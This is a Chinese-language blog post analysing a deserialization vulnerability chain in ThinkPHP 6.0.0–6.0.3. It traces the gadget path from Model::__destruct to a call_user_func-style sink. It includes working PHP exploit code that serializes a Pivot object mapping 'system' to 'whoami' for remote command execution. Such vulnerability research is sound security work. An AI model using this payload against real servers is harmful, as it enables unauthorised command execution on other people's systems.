ThinkPHP6.0.3_反序列化漏洞

文章发布时间:

最后更新时间:

文章总字数:
1.5k

预计阅读时间:
5 分钟

ThinkPHP6.0 反序列化分析

漏洞影响版本:6.0.0-6.0.3,本次分析中使用的版本为6.0.3

搭建环境就不多说了,composer改版本,index加一个反序列化操作,直接从反序列化链入口开始看。

这条链同样分成上下两部分进行分析

入口部分

前半段的任务在于控制参数使得从__destruct方法到__toString方法,因为后半段和tp5反序列化toString后半段很类似。

我们都知道,反序列化入口一般是__destruct方法,这次是位于/vendor/topthink/think-orm/src/Model.php__destruct方法:

image-20230824102649735

这里得到第一个需要控制的参数lazySave=true,跟进save方法:

image-20230824102901074

我们的目标是进入updateData方法,就需要绕过前面的if,首先跟进isEmpty方法:

image-20230824103032341

得到第二个需要控制的参数data,不能为空,则isEmpty返回false,继续看trigger方法(trigger方法在ModelEvent.php中):

image-20230824103334117

得到第三个需要控制的参数,withEvent=false,就能让trigger返回true,从而false===trigger返回false,绕过save里面的if,来到updateData方法:

image-20230824103741202

上一步已经成功控制trigger返回true了,这个if不用管,而checkData没定义也不用管,直接看到获取data的方法getChangedData,跟进,看如何获取data(这个方法在Attribute.php中,可通过用法查询快速跳转):

image-20230824104318729

这步操作可能有点复杂,但是其实后面完全都不用看,只需要知道如果force是true的话,data就赋值为this->data,然后返回,相当于updateData里的data我们也可以控制了,得到第四个需要控制的参数,force=true,回到updateData中,由于前面的分析中this->data不能为空,自然下面这个if直接跳过不用看,

image-20230824105914550

跟进看看checkAllowFields:

image-20230824110205391

可以看到这里出现了第五个需要控制的参数this->field为空第六个需要控制的参数this->schema为空(可以看到Model类中并没有这两个参数,这两在Attribute类中,且默认就是空,所以其实不用管),看到了后面的.操作符很开心,这里就是__toString的高发点,但是先别急,先看看db方法:

image-20230824110555832

没想到这个db更是抢先一步使用.操作符,我们只需要控制第八个参数:this->name为我们想要触发__toString的类就行。另外,Model类是一个抽象类,不能直接实例化,需要找到一个继承了Model的类,找到了Pivot类(tp5里面也是它):

image-20230824110818331

至此,第一部分完成,第一部分的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace think\model\concern;
trait Attribute
{
private $data = "pazuris";
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj; //需要构造传入的类
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}

命令执行部分

后半部分和tp5的反序列化非常像,都是Conversion类里面的__toString

image-20230824112328360

直接跳到toArray方法,这里截出关键代码:

image-20230824130639783

对比tp5的代码不难发现,不同的地方在于对val变量进行了一个判断,改了val之后无法再达到visible方法,自然也没法调用__call方法,故之前的链子已无法利用。

这里的关键在于getAttr方法,触发的条件是在visible里面有一个键和data的一个键一样,跟进getAttr:

image-20230824131522292

跟进getData看如何获取value:

image-20230824132455159

回溯上两步可以看出这里的name变量就是最开始传入的key,所以不为空,进入getRealFieldName:

image-20230824132655600

默认情况下跳过if,直接返回了name,回到getData中,第一个判断成立,返回了data中key键的值,返回getAttr方法中,现在来到了getValue方法,可以看到传入了键和值,关键代码如下:

image-20230824152452408

这里可以看到我们第二阶段需要控制的变量不仅有data,还有withAttr,第二个断点就是最终执行命令的地方,可以看到从withAttr中获取了key对应的值,并将其当方法调用,相当于call_user_func,并且参数为value,就是data中相同的key对应的值,前面的if只需要这个相同的key不是数组就可以绕过。

总结一下第二阶段要构造的是data和withAttr,他们有相同的键,对应的值一个是参数一个是方法:

1
2
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]

现在就可以把两个阶段连在一起写总的exp,可以发现第二阶段其实利用的类依然是继承了Model的Pivot,直接把第一阶段的复用即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
} //第一阶段仅要求data非空,故直接上第二阶段的
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}//满足第一阶段的参数,同时提供为第二阶段提供钩子
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot(); //第二阶段
$b=new Pivot($a); //将第二阶段的类赋值给第一阶段的name
echo urlencode(serialize($b));

tp6的反序列化真是无穷无尽,现在暂时分析这一个,其他链子的思路都是类似的,进一步研究可以参考下面这些文章:

Thinkphp6.0.9反序列化复现及整合 - 先知社区 (aliyun.com)

Thinkphp v6.0.13反序列化(CVE-2022-38352)分析 - 先知社区 (aliyun.com)

好了,tp漏洞的复现暂时告一段落了,我也该上学了(笑),接下来想去研究一下structs和weblogic这些框架的漏洞,转战java。